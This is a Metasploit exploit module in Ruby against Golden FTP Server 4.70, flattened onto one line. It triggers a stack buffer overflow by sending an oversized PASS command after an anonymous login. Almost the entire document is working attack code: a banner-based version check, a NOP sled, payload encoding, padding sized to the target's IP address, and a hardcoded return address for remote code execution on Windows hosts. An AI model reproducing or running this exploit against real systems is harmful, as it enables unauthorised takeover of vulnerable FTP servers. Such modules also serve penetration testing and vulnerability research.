Golden FTP Server 4.70 – PASS Stack Buffer Overflow (Metasploit)
# # $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'GoldenFTP PASS Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in the Golden FTP service. This module uses the PASS command to trigger the overflow. }, 'Author' => [ 'bannedit' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12812 $', 'References' => [ [ 'BID', '45957 '], [ 'URL', 'http://www.exploit-db.com/exploits/16036/'], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Privileged' => false, 'Payload' => { 'Space' => 350, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => ['win'], 'Targets' => [ [ 'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011 { 'Platform' => 'win', 'Ret' => 0x00a93ca6, }, ] ], 'DisclosureDate' => 'Jan 23 2011')) end def check connect disconnect print_status("FTP Banner: #{banner}".strip) if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit if datastore['RHOST'].length < 15 pad = make_nops(1) * (15 - datastore['RHOST'].length) end sploit = make_nops(4) * 38 sploit << payload.encoded sploit << pad sploit << make_nops(1) * (528 - sploit.length) sploit << [target.ret].pack('V') print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}") begin connect send_user("anonymous") send_cmd(['PASS', sploit], false) handler rescue EOFError end end end |